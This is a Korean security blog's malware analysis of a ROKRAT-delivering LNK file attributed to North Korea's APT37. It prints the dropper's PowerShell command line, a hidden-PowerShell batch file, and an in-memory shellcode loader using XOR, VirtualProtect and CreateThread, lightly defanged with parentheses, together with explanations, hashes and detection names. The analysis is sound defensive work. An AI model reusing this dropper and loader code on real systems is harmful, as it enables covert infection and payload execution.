오늘은 ROKRAT 대북 관계자를 타켓팅 하는 APT 37(Reaper,리퍼)에서 만든 악성코드-김X성강의자료.lnk(2024.12.06)에 대해 알아보겠습니다. 해당 APT 조직들은 해외 공공 및 민간 부문을 표적으로 삼는 데 중점 두고 있으며 APT 37, Reaper,Reaper Group,Red Eyes,Ricochet Chollima, ScarCruft,TA-RedAnt,Venus 121 으로 불리기도 하는 하나도 존경하고 경애하지 않고 자유대한민국의 전혀 도움되지 않는 북한의 정찰총국 산하 APT37 에서 만든 악성코드이며 개인적으로도 해당 글을 쓰는 시점인 2024.12.06 에 기준으로 적어 봅니다. 아마도 私見으로는 현재 비상계엄이니 대통령 탄핵이니 국가가 혼란한 상황에서 유포되는 시점이라서. 무엇가 있지 않나 싶습니다. 어디까지나 사견…. 일단 해당 악성코드는 악성코드 안에 PDF,bat,DAT 파일들이 존재하는 것이 특징입니다.
해쉬
파일명: 김X성강의자료.lnk
사이즈:57,681,487 Bytes
MD5:2fa8f5f95577db335e649d5361c845b0
SHA-1:c8bb4f1ebeafd00cc6b73e2cf265c18fd8660df7
SHA-256:d9e3eba6067eec0aa32214b2a9811f4b579b66b34fe4e5bff4d754102dffdb91
해당 악성코드에 포함된 파일들 위치
PDF:0x0000110C 오프셋~0x0039A3DD
huawei.bat:0x00474CAC 오프셋~0x00000143
oppo.dat:0x00474679 오프셋 ~ 0x00000633
악성코드 파워셀 코드
StringData
{
namestring:
relativepath: not present
workingdir: not present
commandlinearguments: /k (f)or /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsP(o)
0werShell\v1.0\*rshell(.)exe /s /b /od') do call %a "$dirPath
= Get-Location; if($dirP(a)th -Match 'System32' -or $dirPath -Match
'Program Files') {$dirPath = '%temp%'};$exs=@('(.0lnk');$l(n)kPath
= Get-ChildItem -Path $dirPath -Recurse *.* -File | where {$_.extension -i(n) $exs}
| where-object {$_.length -eq 0x037026(4)F} | Select-Object -ExpandProperty FullName
;$lnkFile=New-Object Syste(m).IO.FileStream($lnkPath, [System.IO.FileMode]::Open,
[System.IO.FileAccess]::Read)(;)$l(n)kFile.Seek(0x0000110C, [System.IO.SeekOrigin]:
:Begin);$pdfFi(l)e=New-Object byte[] 0x0039A3DD;$lnkFile(.)Read($pdfFile, 0, 0x(0)03
9A3DD);$pdfPath = $lnkPath.replace('.ln(k)','.pdf');sc $pdfPath $pdfFile -Encoding
Byte;& $pdfPath;$lnkFile.Seek(0(x)0039B4E9,[System.IO(.)SeekOrigin]::Begin);$e(x)eF
ile=New-Object byte[] 0x0(0)0D9(1)90;$lnkFile.Read($exeFile, 0, 0x000D9190);$exePat
h=$e(n)v:temp+'\vivo(.0dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Se(e)k(0x0
0474679,[S(y)stem.IO.SeekOrigin]::Begin);$st(r)ingByte = New-Object byte[] 0x(0)000
0633;$lnkFile(.)Read($stringByte, 0, 0x00000633); $batStrPath = $env:temp+'\'+'oppo
(.)dat';$string = [System.Text.Encodin(g)]::UTF8.GetString($stringBy(t)e);$string |
Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek((0)x00474CAC,[System.I
O.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000143;$lnkF(i)le.Read($batB
yte, 0, 0x00000143);$executePath = $env:temp+'\'+'huawe'+'i.b(')(+)'a'+'t'; Write-H
ost $ex(e)cutePath; Write-Host $batStrPath; $bastString = [System.Text.Encoding]::U
TF8.GetString($batByte);$bastS(t)ring | Out-File -FilePath $executePath -Encoding a
scii; &$executePath; $lnkFile.Clos(e)(); remo(v)e-item -path $lnkPath -force; "(&)& exit
iconlocation: C:\Program Files (x86)\Microsoft\Edge\Application\msedge(.)exe
}
악성코드 설명
1. 파일 탐색 및 조건 설정 및 작동:
dir 명령어를 사용해 C:\Windows\SysWow64\WindowsPowerShell\v1.0 경로에서 rshell.exe 이름 형태를 보인 파일을 검색
/s:하위 디렉터리까지 검색
/b:기본 출력 형식 (경로만 표시)
/od:수정 날짜를 기준으로 정렬
악성코드가 실행될 환경에서 특정 파일(rshell.exe)의 존재 여부를 확인
조건에 맞는 파일이 있을 때에는 이를 기반으로 추가 명령(call %a)을 실행
2. 디렉터리 경로 설정 및 조건 필터링 작동:
Get-Location: 현재 작업 디렉터리 경로를 확인
조건 검사: 현재 디렉터리가 System32 또는 Program Files와 같은 보호된 시스템 디렉터리인 경우
$dirPath를 %TEMP% 경로로 변경하여 작업 디렉터리를 백신프로그램 등의 탐지 가능성이 낮은 디렉터리로 설정
보호된 디렉터리에서의 작업을 회피함과 동시 임시 디렉터리(%TEMP%)에서 파일 조작을 수행하여 탐지를 우회 목적
3. lnk 파일 검색 및 필터링 작동:
$exs=@('.lnk'):.lnk 확장자를 필터링하기 위한 배열 정의
Get-ChildItem:$dirPath 경로의 모든 파일과 하위 디렉터리를 재귀적으로 검색
파일 확장자가. lnk인지 확인
파일 크기가 0x0370264F(56,408,143 바이트)와 같은지 확인
최종적으로 조건에 맞는 파일의 전체 경로를 반환
.lnk 파일 중 특정 크기를 가진 파일만 선택하여 데이터 추출 대상 파일로 설정
4. lnk 파일에서 바이너리 데이터 읽기 PDF 파일 생성 작동:
FileStream 객체를 생성하여. lnk 파일을 바이너리 모드
Seek:파일 오프셋을 0x0000110C로 이동
Read:0x0039A3DD(3,784,413 바이트)의 데이터를 읽어 byte 배열에 저장
파일 경로 설정:.lnk 확장자를 PDF로 변경하여 새로운 파일 생성
sc 명령어로 PDF 데이터를 저장하고 즉시 실행(& $pdfPath)
lnk 파일의 특정 데이터 영역에서 PDF 형식의 악성 파일을 추출 및 실행
vivo.dat 생성
파일 오프셋을 0x0039B4E9로 이동.
0x000D9190(887,312 바이트)의 데이터를 읽어 byte[] 배열에 저장
임시 디렉터리(%TEMP%)에 vivo.dat 이름으로 저장
`.lnk` 파일에서 실행 파일 데이터를 추출하고 임시 파일로 저장하며 추출된 파일은 악성 실행 파일로 추가적인 작업을 수행
oppo.dat
파일 오프셋을 0x00474679로 이동.
0x00000633(1,587 바이트)의 데이터를 읽어 UTF-8 문자열로 변환
문자열을 oppo.dat라는 텍스트 파일로 저장
.lnk 파일에서 명령어나 스크립트 정보를 포함한 텍스트 데이터를 추출 및 해당 데이터를 다른 악성 파일이나 프로세스에서 재사용
huawei.bat
파일 오프셋을 0x00474CAC로 이동
0x00000143(323 바이트)의 데이터를 읽어 UTF-8 문자열로 변환
임시 디렉터리에 huawei(.)bat 이름으로 저장 및 실행(&$executePath)
배치 파일로 시스템 명령을 실행하여 추가 악성 행위를 수행
5.흔적 삭제:. lnk 파일 스트림을 닫고 원본 파일을 강제로 삭제
PDF 파일. lnk 파일과 같은 디렉터리 (.pdf)악성 PDF. 실행 시 악성 문서 또는 익스플로잇
%TEMP%\vivo.dat:악성 실행 파일
%TEMP%\huawei.bat시스템 명령 실행 추가 악성코드 다운로드 및 실행 가능.
텍스트 데이터:%TEMP%\oppo.dat 명령어 또는 추가 스크립트를 포함한 UTF-8 텍스트
삭제된 .lnk 파일 원본 디렉터리
이런 과정을 거치고 나서 북한 공작에 물든 대한민국이라는 파일이 실행됩니다.
huawei(.)bat 내용
start /min C:\Windows\SysWow64\WindowsPowerSh(e)ll\v1.0\powershell(.)exe
-windowstyle hidden "$stringPath=$env:temp(+)'\'+'oppo(.)dat';$stringByte
= Get-Content -path $stringPath -encoding byte;$string = [System.Text.Enco
di(n)g]::UTF8.GetString($str(i)ngByte);$scri(p)tBlock = [scrip(t)block]::Create($str(i)
ng);Invoke-Command $scriptBlock;"
코드 분석
1.start /min: 새로운 프로세스를 최소화된 창에서 시작
PowerShell 실행:
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe:32비트 PowerShell 실행 파일 경로 지정
SysWow64 디렉터리는 32비트 애플리케이션의 실행을 지원하기 위한 시스템 폴더
-windowstyle hidden:실행 창을 숨겨 사용자가 명령 실행 여부를 인지하지 못하도록 설정
2. 스크립트 실행
$env:temp+'\'+'oppo.dat:임시 디렉터리에 저장된 oppo(.)dat 파일 경로를 설정
파일 내용(byte[])을 읽어 UTF-8로 디코딩 후 PowerShell 스크립트로 변환
문자열 데이터를 ScriptBlock으로 생성하여 명령을 실행(Invoke-Command)
2. 프로세스 실행: start /min
PowerShell 프로세스를 최소화된 창에서 실행해서 사용자가 실행 창을 보지 못하도록 하게 하는 것이 목적
프로세스 모니터링 도구 등을 사용하면 확인 가능
파일 경로 설정 및 바이너리 읽기
$env:temp:시스템 임시 디렉터리의 경로
oppo.dat:이전 스크립트에서 생성된 악성 파일
Get-Content -encoding byte:oppo.dat 파일의 바이너리 데이터를 읽어 $stringByte 변수에 저장
3. 바이너리 데이터를 UTF-8로 디코딩
UTF-8 인코딩된 바이너리 데이터를 문자열로 변환
$string:디코딩된 PowerShell 명령어 또는 스크립트가 포함된 변수
4.스크립트블록 생성 및 실행
[scriptblock]::Create($string): $string 변수의 내용을 실행 가능한 코드 조각(ScriptBlock)으로 변환
Invoke-Command $scriptBlock:생성된 코드 조각을 실행
실제로 수행되는 작업은 $string의 내용에 따라 다르게 진행이 될 것임
예를 들어 추가 페이로드 다운로드 및 실행 및 파일 시스템 수정, 네트워크를 통한 데이터 유출
oppo.dat 내용
$exePath=$env:temp(+)'\vivo(.)dat';$exeFile = Get-Content -path $exe
Pa(t)h -encoding byte;$len=$exe(F)ile.count;$newEx(e)File = New-Objec
t Byte[] $len;$xK(=)'h';for($i=0;$i -l(t) $len;$i++) {$newE(x)eFile[$
i] = $ex(e)File[$i] -bxor $(x)k[0]}; [Net.Servic(e)PointManager]::Secu
ri(t)yProtocol = [En(u)m]::ToObjec(t)([Net.Security(P)rotocolType], 30
72);$k(1)123 = [System.(T)ext.Encoding]::UTF8(.)GetString(34) (+) 'ker
nel32.dll' (+) [System.Text(.)Encoding]::UTF8.GetStr(i)ng(34);$a9(0)23
s = '[DllImpo(r)t(' (+) $k1123 + ')]public st(a)tic extern IntPtr G(l)o
alAlloc(uint b,u(i)nt c);';$b = Add-(T)ype -Membe(r)Definition $a90234(s
) -Name 'AAA' -Pa(s)sThru;$d3s9sdf = '[(D)llImport(' + $(k)1123 + ')]p(
u)blic static exter(n) bool Vi(r)tualProtect(IntPtr a,uint b,uint c,out
ntPtr d);';$a90234sb = Add-Type -MemberDefinition $d3s9sdf -Name 'AAB' -P
assThru;$b3s9s03sfse = '[DllImport(' + $k112(3) + ')]public static e(x)te
rn IntPtr Creat(e)Thread(IntPtr a,(u)int b,IntPtr c,In(t)Ptr d,uint e,I(n
)tPtr f);';$cak(e)3sd23 = Add-Type -Memb(e)rDefinition $b3s(9)s03sfse -N
ame 'B(B)B' -PassThr(u);$dtts9s03sd23 = '[DllImp(o)rt(') + $k1123 + ')]pu
blic s(t)atic extern IntPtr WaitForSingleObject(IntPtr a,uint b);';$fried
3(s)d23 = Add(-)Type -MemberDef(i)nition $dtts(9)s03sd23 -Name 'DDD' -Pas
sThru;$byteCount = $newExeFile.Length;$buffer = $b::GlobalAlloc(0x0040, $
byteCount + 0x100);$old = 0;$a90234sb::VirtualP(r)otect($buffer, $by(t)eC
ount (+) 0x100, 0x40, [ref]($)old); for($(i) = 0;$i (-)lt $byteCo(u)nt;$i
++) { [System.Runtime.InteropServi(c)es.Marshal]::WriteByte($buffer, $i,
$newExeFile[$i]); };$handle = $cake3sd23::CreateTh(r)ead(0, 0, $buffer, 0
, 0, 0);$fried3sd23::(W)aitForSing
leObject($handle, 500 * 1000);
코드 분석
vivo.dat 라는 파일을 메모리에서 디코딩하고 실행하는 데 사용되며 Windows API 호출을 통해 메모리 내에서 코드 실행과 프로세스 생성을 수행
1.vivo.dat 파일 디코딩 및 준비
임시 디렉터리(%TEMP%)에서 vivo.dat 파일을 읽어오기
XOR 연산을 통해 파일 데이터를 디코딩
2.Windows API 정의 및 호출
GlobalAlloc,VirtualProtect,CreateThread,WaitForSingleObject 등의 Windows API 호출을 통해 메모리 할당, 실행 권한 부여, 스레드 생성 및 실행 대기 수행
3. 악성 페이로드 메모리 로드 및 실행
디코딩된 vivo(.)dat의 내용을 메모리에 로드하고 실행 가능한 상태로 변경 후 새 스레드를 생성하여 디코딩된 페이로드를 실행
4. 파일 디코딩
$exePath:임시 디렉터리(%TEMP%)에서 vivo.dat 파일의 경로를 설정
Get-Content -encoding byte:바이너리 데이터를 읽어서 $exeFile에 저장
-bxor:XOR 연산을 통해 vivo.dat 파일의 내용을 디코딩
XOR 키(xK):문자 h의 아스키 값(104)을 사용
파일 암호화 우회를 위해 XOR 연산으로 페이로드 복호화 그리고 디코딩된 결과($newExeFile)는 실행 가능한 악성코드로 변경
5.Windows API 함수 선언
kernel32.dll에서 GlobalAlloc 함수를 호출할 수 있도록 선언
GlobalAlloc: 메모리를 할당하는 API로 페이로드 로드에 사용 메모리에 페이로드를 저장할 버퍼를 할당
VirtualProtect: 메모리의 보호 수준을 변경하는 API 메모리를 읽기/쓰기에서 실행 가능하도록 변경(0x40) 악성 코드가 메모리에서 실행될 수 있도록 권한을 설정
CreateThread:새 스레드를 생성하여 지정된 메모리에서 코드를 실행 메모리에 로드된 악성 페이로드를 별도의 스레드에서 실행
WaitForSingleObject: 스레드 실행이 완료될 때까지 대기
대기 시간: 500 * 1000 (500초)
악성 페이로드가 실행되는 동안 PowerShell 프로세스를 유지
6. 메모리 할당 및 페이로드 로드**
GlobalAlloc로 메모리를 할당($buffer)
VirtualProtect로 메모리를 실행 가능 상태로 변경
XOR 디코딩된 페이로드($newExeFile)를 메모리에 로드 디코딩된 악성 페이로드를 메모리에 저장하고 실행 준비
7. 스레드 생성 및 실행
CreateThread 로 새로운 스레드를 생성하고 $buffer (메모리에 로드된 페이로드)를 실행
WaitForSingleObject로 실행이 완료될 때까지 대기
바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다. (2024.12.06 KST)
AhnLab-V3:Dropper/LNK.Generic.S2898
AliCloud:Trojan:Win/WinLNK.HT#L3DGW
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Pantera.190.71A0D9CC
Avast:LNK:Agent-HN [Trj]
AVG:LNK:Agent-HN [Trj]
Avira (no cloud):LNK/Susp.Gen
BitDefender:Heur.BZC.YAX.Pantera.190.71A0D9CC
CTX:Lnk.unknown.pantera
Cynet:Malicious (score: 99)
Emsisoft:Heur.BZC.YAX.Pantera.190.71A0D9CC (B)
ESET-NOD32:LNK/Agent.AGF
GData:Heur.BZC.YAX.Pantera.190.71A0D9CC
Google:Detected
Gridinsoft (no cloud):Malware.U.Gen.tr
Huorong:Trojan/LNK.Agent.aet
Kaspersky:HEUR:Trojan.WinLNK.Powecod.c
Lionic:Trojan.WinLNK.Pantera.4!c
Microsoft:Trojan:Win32/WinLNK.HNDC!MTB
Rising:Trojan.Agent/LNK!1.AA03 (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Dropper.wx
Sophos:Troj/LnkObf-AH
Symantec:Trojan.Gen.MBT
Tencent:Win32.Trojan.Powecod.Zimw
Trellix (HX):Heur.BZC.YAX.Pantera.190.71A0D9CC
Varist:LNK/ABApplication.FF
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Pantera.190.71A0D9CC
WithSecure:Malware.LNK/Susp.Gen
뭐~일단 대부분 보안 업체에서 탐지하고 있으며 항상 조심하는 습관과 그리고 백신 프로그램을 너무 믿지 마시길 이유 탐지 안 되는 경우도 발생하기 때문에 기본적인 보안습관을 가지는 것이 제일 안전하게 컴퓨터를 사용하는 방법일 것입니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
일본 みずほ銀行(미즈호은행)피싱메일 간단 분석(2024.12.09) (0) | 2024.12.12 |
---|---|
윈도우 10 KB5048652,윈도우 11 KB5048667 & KB5048685 보안 업데이트 (0) | 2024.12.11 |
북한 APT 김수키(Kimsuky)에서 만든 악성코드-system_first.ps1(2024.11.27) (0) | 2024.12.06 |
APT 김수키(Kimsuky)에서 만든 악성코드-pay.bat(2024.11,27) (0) | 2024.12.05 |
텔레그램을 사칭을 하는 정체 모를 APT-Telegram.txt.lnk(2024.11.27) (0) | 2024.12.03 |
해커들은 Microsoft의 소프트웨어 라이센스 보호를 거의 완전히 해독 주장 (2) | 2024.12.02 |
파이어폭스 133 보안 업데이트 및 반송 추적 보호 및 기타 향상된 기능이 포함 (0) | 2024.11.28 |
북한 김수키(Kimsuky)양도소득 과세표준 신고 및 납부계산서 로 위장한 악성코드-out.lnk(2024.11.26) (0) | 2024.11.27 |